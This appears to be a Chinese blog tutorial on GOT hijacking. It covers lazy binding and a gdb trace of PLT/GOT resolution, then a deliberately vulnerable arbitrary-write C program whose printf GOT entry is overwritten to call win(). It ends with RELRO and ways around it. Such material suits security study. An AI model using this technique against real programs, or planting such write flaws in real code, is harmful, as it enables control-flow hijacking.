0%

GOT 表劫持原理

链接

在程序从源代码到生成最终的可执行程序,会大体经历编译、汇编、链接三个阶段。编译将源代码转换成为汇编语言(例如.s后缀的文件),汇编阶段将汇编语言转换成机器码(例如.o文件)。链接阶段会合并多个目标文件(上一阶段生成的.o)以及静(动)态链接库中的代码数据等信息,修复文件之间的引用关系,最后生成可执行程序。

在链接这个过程中,静态链接库的代码和数据会被拷贝一份到可执行程序中。动态链接库则只是包含有引用关系,在程序运行时再通过动态链接加载。

动态链接库比如Linux中的.so,Windows中的.dll,macOS中的.dylib文件。静态链接库比如.lib、.a文件。

延迟绑定

正如由于我们在[链接]部分提到的,采用动态链接库的话,那么在二进制程序中,引用外部库函数的地方,都只是占位符,并不实际指向函数地址。那么在程序启动时,就需要花费大量的时间对函数进行连接,比如模块间函数引用的符号查找、重定位等,这样的做法非常影响程序的性能。而且也并不是程序的每一个分支,都会在运行过程中被使用到。没有运行到的这部分即使没有被链接,也不会有任何影响,反而消耗了程序的性能。

延迟绑定机制就是针对上述情况的缓解方案,当外部函数第一次被调用的时候,才会进行绑定(符号查找,重定位等链接)。如果函数在整个程序运行过程中,都没有被调用,那么它就不会进行绑定。这样的机制在保留动态链接的优势下,还可以加快程序的启动速度。

GOT表(Global Offset Table,全局偏移表)

GOT表位于.got和.got.plt Section

  • .got Section 存放外部全局变量的GOT表,程序运行开始就会被加载进来,非延迟绑定,例如stdin/stderr等。
  • .got.plt Section中存放的是外部函数的GOT表,例如printf,使用延迟绑定机制。

.plt Section (Procedure Linkage Table,程序链接表)对应存放的是.got.plt中所有外部函数对应的plt代码。

调试

我们用最简单的代码来认识一下延迟绑定的过程以及GOT表是如何工作的。

1
2
3
4
5
#include <stdio.h>
int main()
{
puts("hello harpersu00!\n");
}

使用命令 gcc test.c -m32 将上面的示例编译成a.out可执行文件ELF格式。

然后使用 objdump -s -d a.out 命令查看各个section以及反汇编代码。

.plt section 如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Disassembly of section .plt:

080482d0 <.plt>:
80482d0: ff 35 04 a0 04 08 pushl 0x804a004 //push link_map
80482d6: ff 25 08 a0 04 08 jmp *0x804a008 //jump to _dl_runtime_resolve
80482dc: 00 00 add %al,(%eax)
...

080482e0 <puts@plt>:
80482e0: ff 25 0c a0 04 08 jmp *0x804a00c //值为0x80482e6
80482e6: 68 00 00 00 00 push $0x0
80482eb: e9 e0 ff ff ff jmp 80482d0 <.plt>

080482f0 <__libc_start_main@plt>:
80482f0: ff 25 10 a0 04 08 jmp *0x804a010
80482f6: 68 08 00 00 00 push $0x8
80482fb: e9 d0 ff ff ff jmp 80482d0 <.plt>

.got.plt section :

1
2
3
Contents of section .got.plt:
804a000 149f0408 00000000 00000000 e6820408 ................
804a010 f6820408

我们通过 gdb a.out 命令来调试程序,可以看得更清晰一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) disassemble main
Dump of assembler code for function main:
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x10,%esp
0x08048416 <+9>: movl $0x80484c4,(%esp)
0x0804841d <+16>: call 0x80482e0 <puts@plt> //在这个地址下断点
0x08048422 <+21>: leave
0x08048423 <+22>: ret
End of assembler dump.
(gdb) break *0x804841d //下断点
Breakpoint 1 at 0x804841d
(gdb) display /3i $eip //断点处打印$eip之后的3行内容
(gdb) r
Starting program: /xxx/a.out

Breakpoint 1, 0x0804841d in main ()
1: x/3i $eip
=> 0x804841d <main+16>: call 0x80482e0 <puts@plt>
0x8048422 <main+21>: leave
0x8048423 <main+22>: ret
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
(gdb) si //进入.plt section
0x080482e0 in puts@plt ()
1: x/3i $eip
=> 0x80482e0 <puts@plt>: jmp *0x804a00c
0x80482e6 <puts@plt+6>: push $0x0
0x80482eb <puts@plt+11>: jmp 0x80482d0
(gdb) x/wx 0x804a00c //跳到puts@plt+0x6的位置
0x804a00c: 0x080482e6
(gdb) x/4wx 0x804a000 //查看.got.plt表的内容, 0x804a00c就是puts函数在got表中的地址
0x804a000: 0x08049f14 0xf7ffd900 0xf7fefea0 0x080482e6

.got.plt表中存放的是每个外部函数的地址,在延迟绑定之前,存放的是该外部函数在.plt表中的地址+0x6;在绑定之后,存放的是该函数的实际地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(gdb) b *0x08048422  //在puts函数调用之后下断点
Breakpoint 2 at 0x8048422
(gdb) c
Continuing.
hello harpersu00!

Breakpoint 2, 0x08048422 in main ()
1: x/3i $eip
=> 0x8048422 <main+21>: leave
0x8048423 <main+22>: ret
0x8048424: xchg %ax,%ax
(gdb) x/4wx 0x804a000 //.got表中的函数地址改变了,变成了函数的实际地址
0x804a000: 0x08049f14 0xf7ffd900 0xf7fefea0 0xf7e60a40
(gdb) x/wx 0x804a00c //puts函数在got表中的地址
0x804a00c: 0xf7e60a40
(gdb) p puts //puts函数的实际地址
$2 = {<text variable, no debug info>} 0xf7e60a40 <puts>

所以整个过程就是,

函数第一次被调用处 -> .plt表中(puts@plt) -> 跳转到 .got表中函数偏移处记录的地址,即puts@plt+0x6 -> 跳转到.plt表的首地址,进行符号解析加载 -> 修改.got表中的函数地址为实际地址。

函数第二次调用 -> .plt表中(puts@plt) -> 跳转到 .got表中函数偏移处记录的地址,函数的真实地址。

那么,如果我们修改了.got表中该函数偏移处的地址,就会跳转到我们设定的地址处执行啦,这就是GOT表劫持。

GOT表劫持实现

原理: 因为延迟绑定机制会回写GOT表,因此开启延迟绑定,则GOT表是可写的,GOT表所在的内存有w权限。如果漏洞利用可以改写GOT表,那么就可以劫持PC,跳转到自己写的code上取执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>

void win() {
puts("You Win!");
}

void main() {
unsigned int addr, value;
scanf("%x=%x", &addr, &value);
*(unsigned int *)addr = value;
printf("set %x=%x\n", addr, value);
}

同样使用 gcc test.c -m32 -o hijack_got 命令编译源文件,得到 hijack_got可执行文件。

1
2
3
4
5
6
7
[user@xx]# objdump -R hijack_got | grep printf
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
[user@xx]# objdump -d hijack_got | grep win
0804848d <win>:
[user@xx]# ./hijack_got
0804a00c=0804848d
You Win!

上述示例通过将printf的.got表地址修改为win函数的地址,从而实现GOT表劫持。

缓解措施

通过编译选项 gcc -z,relro,可以设置重定位只读。这样在进入main()函数之前,所有的外部函数都会被解析,对于外部函数很多的程序,效率会明显降低。

绕过Relocation Read Only:

  • 劫持开启该保护的动态库的GOT表,例如libc
  • 改写函数指针或返回地址
----------------------END END----------------------